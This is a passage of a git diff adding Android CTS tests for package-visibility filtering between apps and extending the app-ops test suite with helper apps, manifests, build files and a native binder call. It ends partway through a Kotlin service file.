+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "test_current",
+}
+
+android_test_helper_app {
+ name: "CtsAppEnumerationFilters",
+ manifest: "AndroidManifest-filters.xml",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "test_current",
+}
+
+android_test_helper_app {
+ name: "CtsAppEnumerationNoApi",
+ manifest: "AndroidManifest-noapi.xml",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "test_current",
+}
+
+android_test_helper_app {
+ name: "CtsAppEnumerationSharedUidTarget",
+ manifest: "AndroidManifest-noapi-sharedUser.xml",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "test_current",
+}
\ No newline at end of file
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-filters.xml b/tests/tests/appenumeration/app/target/AndroidManifest-filters.xml
new file mode 100644
index 0000000..2ea6a5f
--- /dev/null
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-filters.xml
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.appenumeration.filters">
+ <application>
+ <uses-library android:name="android.test.runner" />
+ <activity android:name="android.appenumeration.testapp.DummyActivity">
+ <intent-filter>
+ <action android:name="android.appenumeration.action.ACTIVITY" />
+ </intent-filter>
+ </activity>
+ <service android:name="android.appenumeration.testapp.DummyService">
+ <intent-filter>
+ <action android:name="android.appenumeration.action.SERVICE" />
+ </intent-filter>
+ </service>
+ <provider android:name="android.appenumeration.testapp.DummyProvider"
+ android:authorities="android.appenumeration.testapp"
+ android:exported="true" />
+ <receiver android:name="android.appenumeration.testapp.DummyReceiver">
+ <intent-filter>
+ <action android:name="android.appenumeration.action.BROADCAST" />
+ </intent-filter>
+ </receiver>
+
+ <activity android:name="android.appenumeration.testapp.DummyActivity"
+ android:exported="false">
+ <intent-filter>
+ <action android:name="android.appenumeration.action.ACTIVITY_UNEXPORTED" />
+ </intent-filter>
+ </activity>
+ <service android:name="android.appenumeration.testapp.DummyService"
+ android:exported="false">
+ <intent-filter>
+ <action android:name="android.appenumeration.action.SERVICE_UNEXPORTED" />
+ </intent-filter>
+ </service>
+ <provider android:name="android.appenumeration.testapp.DummyProvider"
+ android:authorities="android.appenumeration.testapp.unexported"
+ android:exported="false" />
+ <receiver android:name="android.appenumeration.testapp.DummyReceiver"
+ android:exported="false">
+ <intent-filter>
+ <action android:name="android.appenumeration.action.BROADCAST_UNEXPORTED" />
+ </intent-filter>
+ </receiver>
+ </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-forceQueryable.xml b/tests/tests/appenumeration/app/target/AndroidManifest-forceQueryable.xml
new file mode 100644
index 0000000..e6535b3
--- /dev/null
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-forceQueryable.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.appenumeration.forcequeryable">
+ <application android:forceQueryable="true">
+ <uses-library android:name="android.test.runner" />
+ </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-noapi-sharedUser.xml b/tests/tests/appenumeration/app/target/AndroidManifest-noapi-sharedUser.xml
new file mode 100644
index 0000000..c3d8487
--- /dev/null
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-noapi-sharedUser.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.appenumeration.noapi.shareduid"
+ android:sharedUserId="android.appenumeration.shareduid">
+ <application>
+ <uses-library android:name="android.test.runner" />
+ </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/target/AndroidManifest-noapi.xml b/tests/tests/appenumeration/app/target/AndroidManifest-noapi.xml
new file mode 100644
index 0000000..9b25acc
--- /dev/null
+++ b/tests/tests/appenumeration/app/target/AndroidManifest-noapi.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.appenumeration.noapi">
+ <application>
+ <uses-library android:name="android.test.runner" />
+ </application>
+</manifest>
diff --git a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
new file mode 100644
index 0000000..8e243c9
--- /dev/null
+++ b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
@@ -0,0 +1,334 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appenumeration.cts;
+
+import static org.hamcrest.core.Is.is;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.fail;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.RemoteCallback;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.hamcrest.core.IsNull;
+import org.junit.AfterClass;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+
+import java.util.Objects;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicReference;
+
+@RunWith(AndroidJUnit4.class)
+public class AppEnumerationTests {
+
+ private static final String PKG_BASE = "android.appenumeration.";
+
+ /** A package with no published API and so isn't queryable by anything but package name */
+ private static final String TARGET_NO_API = PKG_BASE + "noapi";
+ /** A package that declares itself force queryable, making it visible to all other packages */
+ private static final String TARGET_FORCEQUERYABLE = PKG_BASE + "forcequeryable";
+ /** A package that exposes itself via various intent filters (activities, services, etc.) */
+ private static final String TARGET_FILTERS = PKG_BASE + "filters";
+ /** A package that exposes nothing, but is part of a shared user */
+ private static final String TARGET_SHARED_USER = PKG_BASE + "noapi.shareduid";
+
+ /** A package that queries nothing, but is part of a shared user */
+ private static final String QUERIES_NOTHING_SHARED_USER =
+ PKG_BASE + "queries.nothing.shareduid";
+ /** A package that has no queries tag or permission to query any specific packages */
+ private static final String QUERIES_NOTHING = PKG_BASE + "queries.nothing";
+ /** A package that has no queries tag or permissions but targets Q */
+ private static final String QUERIES_NOTHING_Q = PKG_BASE + "queries.nothing.q";
+ /** A package that has no queries but gets the QUERY_ALL_PACKAGES permission */
+ private static final String QUERIES_NOTHING_PERM = PKG_BASE + "queries.nothing.haspermission";
+ /** A package that queries for the action in {@link #TARGET_FILTERS} activity filter */
+ private static final String QUERIES_ACTIVITY_ACTION = PKG_BASE + "queries.activity.action";
+ /** A package that queries for the action in {@link #TARGET_FILTERS} service filter */
+ private static final String QUERIES_SERVICE_ACTION = PKG_BASE + "queries.service.action";
+ /** A package that queries for the authority in {@link #TARGET_FILTERS} provider */
+ private static final String QUERIES_PROVIDER_AUTH = PKG_BASE + "queries.provider.authority";
+ /** Queries for the unexported action in {@link #TARGET_FILTERS} activity filter */
+ private static final String QUERIES_UNEXPORTED_ACTIVITY_ACTION =
+ PKG_BASE + "queries.activity.action.unexported";
+ /** Queries for the unexported action in {@link #TARGET_FILTERS} service filter */
+ private static final String QUERIES_UNEXPORTED_SERVICE_ACTION =
+ PKG_BASE + "queries.service.action.unexported";
+ /** Queries for the unexported authority in {@link #TARGET_FILTERS} provider */
+ private static final String QUERIES_UNEXPORTED_PROVIDER_AUTH =
+ PKG_BASE + "queries.provider.authority.unexported";
+ /** A package that queries for {@link #TARGET_NO_API} package */
+ private static final String QUERIES_PACKAGE = PKG_BASE + "queries.pkg";
+
+ private static final String[] ALL_QUERIES_TARGETING_Q_PACKAGES = {
+ QUERIES_NOTHING,
+ QUERIES_NOTHING_PERM,
+ QUERIES_ACTIVITY_ACTION,
+ QUERIES_SERVICE_ACTION,
+ QUERIES_PROVIDER_AUTH,
+ QUERIES_UNEXPORTED_ACTIVITY_ACTION,
+ QUERIES_UNEXPORTED_SERVICE_ACTION,
+ QUERIES_UNEXPORTED_PROVIDER_AUTH,
+ QUERIES_PACKAGE,
+ QUERIES_NOTHING_SHARED_USER
+ };
+
+ private static Context sContext;
+ private static Handler sResponseHandler;
+ private static HandlerThread sResponseThread;
+
+ private static boolean sGlobalFeatureEnabled;
+
+ @Rule
+ public TestName name = new TestName();
+
+ @BeforeClass
+ public static void setup() {
+ final String deviceConfigResponse =
+ SystemUtil.runShellCommand(
+ "device_config get package_manager_service "
+ + "package_query_filtering_enabled")
+ .trim();
+ if ("null".equalsIgnoreCase(deviceConfigResponse) || deviceConfigResponse.isEmpty()) {
+ sGlobalFeatureEnabled = false;
+ } else {
+ sGlobalFeatureEnabled = Boolean.parseBoolean(deviceConfigResponse);
+ }
+ System.out.println("Feature enabled: " + sGlobalFeatureEnabled);
+ if (!sGlobalFeatureEnabled) return;
+
+ sResponseThread = new HandlerThread("response");
+ sResponseThread.start();
+ sResponseHandler = new Handler(sResponseThread.getLooper());
+ }
+
+ @Before
+ public void setupTest() {
+ if (!sGlobalFeatureEnabled) return;
+
+ if (sContext == null) {
+ sContext = InstrumentationRegistry.getInstrumentation().getContext();
+ }
+ setFeatureEnabledForAll(true);
+ }
+
+ @AfterClass
+ public static void tearDown() {
+ if (!sGlobalFeatureEnabled) return;
+ sResponseThread.quit();
+ }
+
+ @Test
+ public void all_canSeeForceQueryable() throws Exception {
+ assertVisible(QUERIES_NOTHING, TARGET_FORCEQUERYABLE);
+ assertVisible(QUERIES_ACTIVITY_ACTION, TARGET_FORCEQUERYABLE);
+ assertVisible(QUERIES_SERVICE_ACTION, TARGET_FORCEQUERYABLE);
+ assertVisible(QUERIES_PROVIDER_AUTH, TARGET_FORCEQUERYABLE);
+ assertVisible(QUERIES_PACKAGE, TARGET_FORCEQUERYABLE);
+ }
+
+ @Test
+ public void queriesNothing_cannotSeeNonForceQueryable() throws Exception {
+ assertNotVisible(QUERIES_NOTHING, TARGET_NO_API);
+ assertNotVisible(QUERIES_NOTHING, TARGET_FILTERS);
+ }
+
+ @Test
+ public void queriesNothing_featureOff_canSeeAll() throws Exception {
+ setFeatureEnabledForAll(QUERIES_NOTHING, false);
+ assertVisible(QUERIES_NOTHING, TARGET_NO_API);
+ assertVisible(QUERIES_NOTHING, TARGET_FILTERS);
+ }
+
+ @Test
+ public void queriesNothingTargetsQ_canSeeAll() throws Exception {
+ assertVisible(QUERIES_NOTHING_Q, TARGET_FORCEQUERYABLE);
+ assertVisible(QUERIES_NOTHING_Q, TARGET_NO_API);
+ assertVisible(QUERIES_NOTHING_Q, TARGET_FILTERS);
+ }
+
+ @Test
+ public void queriesNothingHasPermission_canSeeAll() throws Exception {
+ assertVisible(QUERIES_NOTHING_PERM, TARGET_FORCEQUERYABLE);
+ assertVisible(QUERIES_NOTHING_PERM, TARGET_NO_API);
+ assertVisible(QUERIES_NOTHING_PERM, TARGET_FILTERS);
+ }
+
+ @Test
+ public void queriesSomething_cannotSeeNoApi() throws Exception {
+ assertNotVisible(QUERIES_ACTIVITY_ACTION, TARGET_NO_API);
+ assertNotVisible(QUERIES_SERVICE_ACTION, TARGET_NO_API);
+ assertNotVisible(QUERIES_PROVIDER_AUTH, TARGET_NO_API);
+ }
+
+ @Test
+ public void queriesActivityAction_canSeeTarget() throws Exception {
+ assertVisible(QUERIES_ACTIVITY_ACTION, TARGET_FILTERS);
+ }
+
+ @Test
+ public void queriesServiceAction_canSeeTarget() throws Exception {
+ assertVisible(QUERIES_SERVICE_ACTION, TARGET_FILTERS);
+ }
+
+ @Test
+ public void queriesProviderAuthority_canSeeTarget() throws Exception {
+ assertVisible(QUERIES_PROVIDER_AUTH, TARGET_FILTERS);
+ }
+
+ @Test
+ public void queriesActivityAction_cannotSeeUnexportedTarget() throws Exception {
+ assertNotVisible(QUERIES_UNEXPORTED_ACTIVITY_ACTION, TARGET_FILTERS);
+ }
+
+ @Test
+ public void queriesServiceAction_cannotSeeUnexportedTarget() throws Exception {
+ assertNotVisible(QUERIES_UNEXPORTED_SERVICE_ACTION, TARGET_FILTERS);
+ }
+
+ @Test
+ public void queriesProviderAuthority_cannotSeeUnexportedTarget() throws Exception {
+ assertNotVisible(QUERIES_UNEXPORTED_PROVIDER_AUTH, TARGET_FILTERS);
+ }
+
+ @Test
+ public void queriesPackage_canSeeTarget() throws Exception {
+ assertVisible(QUERIES_PACKAGE, TARGET_NO_API);
+ }
+
+ @Test
+ public void whenStarted_canSeeCaller() throws Exception {
+ // let's first make sure that the target cannot see the caller.
+ assertNotVisible(QUERIES_NOTHING, QUERIES_NOTHING_PERM);
+ // now let's start the target and make sure that it can see the caller as part of that call
+ PackageInfo packageInfo = startForResult(QUERIES_NOTHING_PERM, QUERIES_NOTHING);
+ assertThat(packageInfo, IsNull.notNullValue());
+ assertThat(packageInfo.packageName, is(QUERIES_NOTHING_PERM));
+ // and finally let's re-run the last check to make sure that the target can still see the
+ // caller
+ assertVisible(QUERIES_NOTHING, QUERIES_NOTHING_PERM);
+ }
+
+ @Test
+ public void sharedUserMember_canSeeOtherMember() throws Exception {
+ assertVisible(QUERIES_NOTHING_SHARED_USER, TARGET_SHARED_USER);
+ }
+
+ @Test
+ public void queriesPackage_canSeeAllSharedUserMembers() throws Exception {
+ // explicitly queries target via manifest
+ assertVisible(QUERIES_PACKAGE, TARGET_SHARED_USER);
+ // implicitly granted visibility to other member of shared user
+ assertVisible(QUERIES_PACKAGE, QUERIES_NOTHING_SHARED_USER);
+ }
+
+ private void assertVisible(String sourcePackageName, String targetPackageName)
+ throws Exception {
+ if (!sGlobalFeatureEnabled) return;
+ Assert.assertNotNull(sourcePackageName + " should be able to see " + targetPackageName,
+ getPackageInfo(sourcePackageName, targetPackageName));
+ }
+
+
+ private void setFeatureEnabledForAll(Boolean enabled) {
+ for (String pkgName : ALL_QUERIES_TARGETING_Q_PACKAGES) {
+ setFeatureEnabledForAll(pkgName, enabled);
+ }
+ setFeatureEnabledForAll(QUERIES_NOTHING_Q, enabled == null ? null : false);
+ }
+
+ private void setFeatureEnabledForAll(String packageName, Boolean enabled) {
+ SystemUtil.runShellCommand(
+ "am compat " + (enabled == null ? "reset" : enabled ? "enable" : "disable")
+ + " 135549675 " + packageName);
+ }
+
+ private void assertNotVisible(String sourcePackageName, String targetPackageName)
+ throws Exception {
+ if (!sGlobalFeatureEnabled) return;
+ try {
+ getPackageInfo(sourcePackageName, targetPackageName);
+ fail(sourcePackageName + " should not be able to see " + targetPackageName);
+ } catch (PackageManager.NameNotFoundException ignored) {
+ }
+ }
+
+ private PackageInfo getPackageInfo(String sourcePackageName, String targetPackageName)
+ throws Exception {
+ Bundle response = sendCommand(sourcePackageName, targetPackageName,
+ PKG_BASE + "cts.action.GET_PACKAGE_INFO");
+ return response.getParcelable(Intent.EXTRA_RETURN_RESULT);
+ }
+
+ private PackageInfo startForResult(String sourcePackageName, String targetPackageName)
+ throws Exception {
+ Bundle response = sendCommand(sourcePackageName, targetPackageName,
+ PKG_BASE + "cts.action.START_FOR_RESULT");
+ return response.getParcelable(Intent.EXTRA_RETURN_RESULT);
+ }
+
+ private Bundle sendCommand(String sourcePackageName, String targetPackageName, String action)
+ throws Exception {
+ Intent intent = new Intent(action)
+ .setComponent(new ComponentName(
+ sourcePackageName, PKG_BASE + "cts.query.TestActivity"))
+ // data uri unique to each activity start to ensure actual launch and not just
+ // redisplay
+ .setData(Uri.parse("test://" + name.getMethodName() + targetPackageName))
+ .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_NEW_DOCUMENT)
+ .putExtra(Intent.EXTRA_PACKAGE_NAME, targetPackageName);
+ final ConditionVariable latch = new ConditionVariable();
+ final AtomicReference<Bundle> resultReference = new AtomicReference<>();
+ final RemoteCallback callback = new RemoteCallback(
+ bundle -> {
+ resultReference.set(bundle);
+ latch.open();
+ },
+ sResponseHandler);
+ intent.putExtra("remoteCallback", callback);
+ sContext.startActivity(intent);
+ if (!latch.block(TimeUnit.SECONDS.toMillis(10))) {
+ throw new TimeoutException(
+ "Latch timed out while awiating a response from " + targetPackageName);
+ }
+ final Bundle bundle = resultReference.get();
+ if (bundle != null && bundle.containsKey("error")) {
+ throw (Exception) Objects.requireNonNull(bundle.getSerializable("error"));
+ }
+ return bundle;
+ }
+
+}
diff --git a/tests/tests/appop/Android.bp b/tests/tests/appop/Android.bp
index e4ca806..6fb772d 100644
--- a/tests/tests/appop/Android.bp
+++ b/tests/tests/appop/Android.bp
@@ -12,13 +12,36 @@
// See the License for the specific language governing permissions and
// limitations under the License.
+cc_test_library {
+ name: "libCtsAppOpsTestCases_jni",
+
+ stl: "libc++_static",
+ gtest: false,
+ cflags: [
+ "-Wall",
+ "-Werror",
+ "-Wno-unused-parameter",
+ ],
+
+ srcs: ["jni/**/*.cpp"],
+
+ shared_libs: [
+ "libbinder",
+ "libutils",
+ "liblog",
+ ],
+}
+
android_test {
name: "CtsAppOpsTestCases",
- sdk_version: "test_current",
+
+ compile_multilib: "both",
srcs: ["src/**/*.kt"],
static_libs: [
+ "appops-test-util-lib",
+ "AppOpsUserServiceAidl",
"androidx.test.rules",
"compatibility-device-util-axt",
"androidx.legacy_legacy-support-v4",
@@ -27,9 +50,46 @@
"androidx.test.uiautomator_uiautomator"
],
+ jni_libs: [
+ "ld-android",
+ "libbacktrace",
+ "libbase",
+ "libbinder",
+ "libbinderthreadstate",
+ "libbpf",
+ "libbpf_android",
+ "libc++",
+ "libcgrouprc",
+ "libcrypto",
+ "libcutils",
+ "libdl_android",
+ "libhidl-gen-utils",
+ "libhidlbase",
+ "libjsoncpp",
+ "liblog",
+ "liblzma",
+ "libnativehelper",
+ "libnetdbpf",
+ "libnetdutils",
+ "libnetworkstatsfactorytestjni",
+ "libpackagelistparser",
+ "libpcre2",
+ "libprocessgroup",
+ "libselinux",
+ "libtinyxml2",
+ "libui",
+ "libunwindstack",
+ "libutils",
+ "libutilscallstack",
+ "libvndksupport",
+ "libziparchive",
+ "libz",
+ "libCtsAppOpsTestCases_jni",
+ ],
+
test_suites: [
"cts",
"vts",
"general-tests",
],
-}
\ No newline at end of file
+}
diff --git a/tests/tests/appop/AndroidManifest.xml b/tests/tests/appop/AndroidManifest.xml
index 78c3816..616647a 100644
--- a/tests/tests/appop/AndroidManifest.xml
+++ b/tests/tests/appop/AndroidManifest.xml
@@ -19,6 +19,21 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.app.appops.cts"
android:targetSandboxVersion="2">
+ <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
+ <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
+ <uses-permission android:name="android.permission.BLUETOOTH" />
+
+ <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
+ <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
+
+ <uses-permission android:name="android.permission.READ_CONTACTS" />
+ <uses-permission android:name="android.permission.WRITE_CONTACTS" />
+
+ <uses-permission android:name="android.permission.CAMERA" />
+
+ <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<application>
<uses-library android:name="android.test.runner"/>
diff --git a/tests/tests/appop/AndroidTest.xml b/tests/tests/appop/AndroidTest.xml
index 9f489a9..fc71ef6 100644
--- a/tests/tests/appop/AndroidTest.xml
+++ b/tests/tests/appop/AndroidTest.xml
@@ -16,10 +16,12 @@
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
- <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsAppOpsTestCases.apk" />
+ <option name="test-file-name" value="CtsAppThatUsesAppOps.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="hidden-api-checks" value="true" />
diff --git a/tests/tests/appop/AppThatUsesAppOps/Android.bp b/tests/tests/appop/AppThatUsesAppOps/Android.bp
new file mode 100644
index 0000000..31f4a95
--- /dev/null
+++ b/tests/tests/appop/AppThatUsesAppOps/Android.bp
@@ -0,0 +1,63 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_library {
+ name: "libAppThatUsesAppOps_jni",
+ sdk_version: "current",
+ stl: "c++_static",
+
+ srcs: [
+ "jni/**/*.cpp"
+ ],
+
+ cflags: [
+ "-Wall",
+ "-Werror",
+ "-Wno-unused-parameter"
+ ],
+
+ shared_libs: [
+ "liblog",
+ "libbinder_ndk"
+ ],
+
+ static_libs: [
+ "AppOpsUserServiceAidlNative-ndk"
+ ]
+}
+
+android_test_helper_app {
+ name: "CtsAppThatUsesAppOps",
+
+ compile_multilib: "both",
+
+ srcs: ["src/**/*.kt"],
+
+ static_libs: [
+ "appops-test-util-lib",
+ "AppOpsUserServiceAidl",
+ "truth-prebuilt",
+ "junit",
+ ],
+
+ jni_libs: [
+ "libAppThatUsesAppOps_jni"
+ ],
+
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ]
+}
\ No newline at end of file
diff --git a/tests/tests/appop/AppThatUsesAppOps/AndroidManifest.xml b/tests/tests/appop/AppThatUsesAppOps/AndroidManifest.xml
new file mode 100644
index 0000000..0d524a9
--- /dev/null
+++ b/tests/tests/appop/AppThatUsesAppOps/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.app.appops.cts.appthatusesappops">
+
+ <application>
+ <service android:name=".AppOpsUserService" android:exported="true" />
+ </application>
+
+</manifest>
diff --git a/tests/tests/appop/AppThatUsesAppOps/jni/android/app/appops/cts/appthatusesappops/AppOpsUserService.cpp b/tests/tests/appop/AppThatUsesAppOps/jni/android/app/appops/cts/appthatusesappops/AppOpsUserService.cpp
new file mode 100644
index 0000000..8c97f65
--- /dev/null
+++ b/tests/tests/appop/AppThatUsesAppOps/jni/android/app/appops/cts/appthatusesappops/AppOpsUserService.cpp
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <android/binder_ibinder_jni.h>
+
+#include "aidl/android/app/appops/cts/IAppOpsUserClient.h"
+
+using ::ndk::SpAIBinder;
+using ::aidl::android::app::appops::cts::IAppOpsUserClient;
+
+// Call binder method IAppOpsUserClient#noteSyncOp from native code
+extern "C" JNIEXPORT void JNICALL
+Java_android_app_appops_cts_appthatusesappops_AppOpsUserServiceKt_noteSyncOpFromNativeCode(
+ JNIEnv* env, jclass clazz, jobject binder) {
+ SpAIBinder native_binder = SpAIBinder(AIBinder_fromJavaBinder(env, binder));
+ std::shared_ptr<IAppOpsUserClient> service = IAppOpsUserClient::fromBinder(native_binder);
+
+ service->noteSyncOp();
+}
diff --git a/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AppOpsUserService.kt b/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AppOpsUserService.kt
new file mode 100644
index 0000000..ff002dc
--- /dev/null
+++ b/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AppOpsUserService.kt
@@ -0,0 +1,414 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appops.cts.appthatusesappops
+
+import android.app.AppOpsManager
+import android.app.AppOpsManager.OPSTR_COARSE_LOCATION
+import android.app.AppOpsManager.OPSTR_FINE_LOCATION
+import android.app.AppOpsManager.OPSTR_GET_ACCOUNTS
+import android.app.AsyncNotedAppOp
+import android.app.Service
+import android.app.SyncNotedAppOp
+import android.app.appops.cts.IAppOpsUserClient
+import android.app.appops.cts.IAppOpsUserService
+import android.app.appops.cts.TEST_FEATURE_ID
+import android.app.appops.cts.eventually
+import android.content.Intent
+import android.os.IBinder
+import android.os.Process.FIRST_APPLICATION_UID
+import com.google.common.truth.Truth.assertThat
+import java.io.PrintWriter
+import java.io.StringWriter
+import java.lang.IllegalArgumentException
+
+private external fun noteSyncOpFromNativeCode(binder: IBinder)
+
+class AppOpsUserService : Service() {
+ override fun onCreate() {
+ super.onCreate()
+
+ System.loadLibrary("AppThatUsesAppOps_jni")
+ }
+
